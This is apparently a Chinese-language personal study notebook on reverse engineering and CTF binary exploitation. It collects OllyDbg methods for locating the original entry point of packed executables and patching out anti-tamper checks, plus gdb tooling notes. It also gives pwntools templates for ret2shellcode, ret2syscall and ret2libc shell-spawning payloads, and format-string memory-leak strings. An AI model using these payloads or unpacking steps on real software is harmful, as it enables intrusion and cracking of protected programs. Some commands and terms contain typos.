逆向相关
常见寻找OEP脱壳的方法
方法一:
1.用OD载入,不分析代码!
2.单步向下跟踪F8,是向下跳的让它实现
3.遇到程序往回跳的(包括循环),我们在下一句代码处按F4(或者右健单击代码,选择断点——运行到所选)
4.绿色线条表示跳转没实现,不用理会,红色线条表示跳转已经实现!
5.如果刚载入程序,在附近就有一个CALL的,我们就F7跟进去,这样很快就能到程序的OEP
6.在跟踪的时候,如果运行到某个CALL程序就运行的,就在这个CALL中F7进入
7.一般有很大的跳转,比如 jmp XXXXXX 或者 JE XXXXXX 或者有RETE的一般很快就会到程序的OEP。
方法二:
ESP定理脱壳(ESP在OD的寄存器中,我们只要在命令行下ESP的硬件访问断点,就会一下来到程序的OEP了!)
1.开始就点F8,注意观察OD右上角的寄存器中ESP有没出现。
2.在命令行下:dd 0012FFA4(指在当前代码中的ESP地址),按回车!
3.选种下断的地址,下硬件访问WORD断点。
4.按一下F9运行程序,直接来到了跳转处,按下F8,到达程序OEP,脱壳
方法三:
内存跟踪:
1:用OD打开软件!
2:点击选项——调试选项——异常,把里面的忽略全部√上!CTRL+F2重载下程序!
3:按ALT+M,DA 打开内存镜象,找到第一个。rsrc.按F2下断点,
然后按SHIFT+F9运行到断点,接着再按ALT+M,DA 打开内存镜象,找到。RSRC上面的CODE,按
F2下断点!然后按SHIFT+F9,直接到达程序OEP,脱壳!
方法四:
一步到达OEP(前辈们总结的经验)
1.开始按Ctrl+F,输入:popad(只适合少数壳,包括ASPACK壳),然后按下F2,F9运行到此处
2.来到大跳转处,点下F8,脱壳之!
方法五:
1:用OD打开软件!
2:点击选项——调试选项——异常,把里面的√全部去掉!CTRL+F2重载下程序!
3:一开是程序就是一个跳转,在这里我们按SHIFT+F9,直到程序运行,记下从开始按F9到程序
运行的次数!
4:CTRL+F2重载程序,按SHIFT+F9(次数为程序运行的次数-1次
5:在OD的右下角我们看见有一个SE 句柄,这时我们按CTRL+G,输入SE 句柄前的地址!
6:按F2下断点!然后按SHIFT+F9来到断点处!
7:去掉断点,按F8慢慢向下走!
8:到达程序的OEP,脱壳!
特别关注:
刚载入程序附近有call的直接F7进call,否则容易跑飞。
ASPack壳注意retn夹击型的,即将跳转到OEP
(1)FSG壳
1.FSG壳有套路,用jmp或者retn不断往上跳转
2.retn后有pop ebx,不要F4过去,不让它运行起来
3.进入到大跳转后跟随,进入后看到一堆db的情况下,从模块中删除分析。再下断点让程序运行过来,即为OEP入口
4.模拟跟踪法拖FSG壳:打开内存,查看SXF,imports,relocations的地址,然后command一下tc eip<地址
5.FSG带暗桩:拉进原版OD后直接运行,到某指令就停下来,NOP掉后保存修改。
(2)PECompact壳
套路1特点:单步跟踪的过程中程序会跑起来。
方法:在运行前,找最近的一个未实现的大跳转(15行代码以上),右键跟随,双击下断点,shift+F9运行过来,双击取消断点,重复以上操作。一直到看到popad程序快到入口点
用ESP可以快速直接到达!!
套路2特点:高级壳强壳,用ESP会一直在两个断点中来回跳转,跑不出去
方法:①载入程序后直接下断点bp VirtualFree,②shift+F9运行到断点位置,取消断点,Alt+F9(执行到用户代码),③Ctrl+F搜索特征代码push 8000,④shift+F9运行到断点位置,取消断点,⑤单步跟踪到达OEP
套路3特点:使用了PENcrypt4.0加壳
①取消所有异常的忽略,②shift+F9到程序运行处理③重新载入,输入m-1次shift+F9到达最后一次异常前,右下角看得到“SE+句柄”④Ctrl+G跟随到句柄所在地址,下断点,shift+F9到达,取消断点⑤单步跟踪到达OEP⑥Import修复⑦LordPE修复
OEPN特征:
①masm程序入口
push 0x0
jmp.&kernel32.GetModuleHandleA
②autoit程序入口
call ????
jmp ????
int3
int3
push edi
push esi
③BC++程序入口
④Delphi 程序入口特征
push ebp
mov ebp,esp
add esp,-0x10
mov eax,????
⑤V B程序入口
(1)普通型VB Decompilier
push ????
call <jmp.&MSVBVM60.#ThunRTMain_100>
(2)p-code型
VB (p-code)程序cm三步轻松破解,附过程,菜鸟也可以操作! - 『脱壳破解区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
资料来源:各种程序的OEP入口特征汇总整理!专为小白总结! - 『脱壳破解区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
常用BP断点:
关于OD的bp send断点 常用断点(OD)_ios and Android的博客-CSDN博客
课程地址
课时25 手脱NSPACK北斗压缩:随心所欲脱!at + 地址汇编脱壳新技能!_哔哩哔哩_bilibili
PWM相关
%rax 一般用作累加器(Accumulator)
%rbx 一般用作基址寄存器( Base )
%rxc 一般用来计数( Count )
%rdx 一般用来存放数据( Data )
%rsi一般用作源变址( Source Index )
%rdi 一般用作目标变址( DestinatinIndex )
%rbp 一般用作基址指针( Base Pointer )
%rsp 一般用作堆栈指针( Stack Pointer )
gdb命令:
disass main | 查看main函数里面的东西 |
pattern create 200 | 获得一个200长度的随机码 |
readelf | 查看地址所在的段是got?rss?date? |
vmmap | 在运行条件下执行,查看权限 |
cyclic -l daab | 计算得出偏移 |
pattern offset + add | 获取偏移地址 |
Python删除警告 -W ignore
1简单溢出
程序源码自带系统命令函数,简单溢出
2.Ret2Test
可以找到systemm函数的plt的绝对地址
3.Ret2Shellcode
利用输入函数,将shellcode写入到程序中
在gdb中需要用到的指令
- 在gdb中,执行pattern create 200
②r程序并到达输入点,粘贴随机码,获得抛出的错误中的地址
③执行pattern offset+地址,获得偏移量
构造payload:
from pwn import *
context (arch = 'i386' , os = 'linux') #or,use 'arm64'
p = process ("./ret2shellcode")
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,b'a') + p32(0x804a000)
p.sendline (payload)
p.interactive()
4.Ret2Systemcall
利用ROPgatdget配合int 0x80调用execve
①查找eax地址:ROPgadget --binary ./ret2syscall --only 'pop|ret' | grep 'eax'
②查找ebx、ecx、edx地址:ROPgadget --binary ./ret2syscall --only 'pop|ret'|grep 'ebx' |grep 'ecx' |grep 'edx '
③查找/bin/sh地址:ROPgadget --binary ./ret2syscall --string '/bin/sh'
④查找int80的地址:ROPgadget --binary ./ret2syscall --only 'int'
构造payload:
payload = offset * b'a' + p32(pop_eax_addr) +p32(0xb)+ p32(pop3x_addr) + p32(0x0) + p32(binsh_address)+ p32( int_addr)
5.Ret2Libc
利用Libc获取system函数的相对地址
plt表:Procedure Linkage Table程序联动表(内部函数表)
got表:Global Offset Table全局偏移表(全局函数表)
payload = offset +get_plt + pop_ebx +bin_sh + system+plt +0x00000000+binsh
①有system地址,有binsh地址
查询system:objdump -d -j .plt ./ret2libc
查询binsh:ROPgadget --binary ./ret2libc2 --string “/bin/sh”
构造函数:payload = offset * b'a' + p32(system_addr) + p32(0x00000000) + p32(binsh_address)
②有system地址,无binsh地址
查询gets_addr:从查询system:objdump -d -j .plt ./ret2libc2的plt表查询
查询gets_ret:ROPgadget --binary ./ ret2libc2 --string “pop|ret”,选pop eap、pop esp都行
查询system:方法同gets_addr
查询binsh_addr:用vmmap指令获取有“w”权限的bass
构造函数:payload = offset * b'a' + p32(gets_addr) + p32(gets_ret) + p32(binsh_address)+ p32(system_addr) + p32(0x00000000) + p32(binsh_addr)
传输的时候不要用ls或者id检验,应该用/bin/sh作调用
③无system地址,无binsh地址
puts_ret:随便,使用0x00000000即可
payload = offset * b'a' + p32(puts_plt) + p32(puts_ret) + p32(target_func_got)
6.Canary泄露相关
字符串漏洞
1.泄露内存
打印地址8位:AAAA.%08p.%08p.%08p.%08p.%08p.%08p.%08p
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
打印地址8位:AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
打印地址对应内容:AAAA.%s.%s.%s.%s.%s.%s.%s.%s.%s.%s.%s
2.泄露任意地址的内存
%offset$p
%offset$s
3.覆盖栈内存
指令笔记
gcc:
交叉编译工具安装:apt-get install gcc-multilib
32位编译:gcc -g -m32 XXX.C -o XXX
64位编译:gcc -g -m64 XXX.C -o XXX
pwntools:
1.下载peda:
git clone https://github.com/longld/peda.git
2.下载Pwngdb:
git clone https://github.com/scwuaptx/Pwngdb.git
3.下载pwndbg:
git clone https://github.com/pwndbg/pwndbg
配置:
1.复制文件到~/下
2.执行~/pwndbg/setup.sh
3.配置Pwngdb
3.1复制配置文件cp ~/Pwngdb/.gdbinit ~/
3.2修改vim ~/.gdbinit
3.3文件头为:
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
来源于gdb与peda、pwngdb、pwndbg组合安装与使用_pwngdb pwndbg_coldice0521的博客-CSDN博客
修改处来源于Exception: Cannot override non-whitelisted built-in command_高级网吧管理员的博客-CSDN博客
开启core dump方法:ulimit -c unlimited
指令集:
file | 载入文件 |
b | 断点,函数 *地址 |
delete | 删除所有断点 |
pattern create +Num | 生成定长字符串 |
pattern offset +Address | 地址偏移量 |
x/10s $esp-+Num | 栈空间+4/8位偏移 |
ropper:
1.安装cmake
sudo apt install cmake
2.安装keystone-engine
git clone https://github.com/keystone-engine/keystone.git
cd keystone
mkdir build
cd build
../make-share.sh
sudo make install
sudo ldconfig
cd ../bindings/python
sudo make install3 # or sudo make install for python2-bindings
3.安装Ropper
sudo pip3 install filebytes==0.9.18
git clone https://github.com/sashs/Ropper.git
cd Ropper
sudo python3 setup.py install
指令集:
ROPgadget --binary ./FILENAME --string “/bin/sh”
用于查询字符
objdump指令
objdump –d –j .plt ./FILENAME
列出函数列表
LibcSearcher:
GitHub - lieanu/LibcSearcher: glibc offset search for ctf.
使用python setup.py install命令安装。
更新库:
- 进入到libc-database目录下
- 执行rm命令,把东西全删掉rm -rf *
- 更新libcdatabase文件git clone GitHub - niklasb/libc-database: Build a database of libc offsets to simplify exploitation
- 再使用./get命令进行更新。如果是Ubuntu系统,可以使用./get ubuntu进行更新
ROPadget:
# 先安装Capstone,它是一个轻量级的多平台架构支持的反汇编架构。
sudo apt-get install python-capstone
注:网上的说明有异常,需要在python后加个3
# 下载好ROPgadget解压,并进入文件夹中
python setup.py install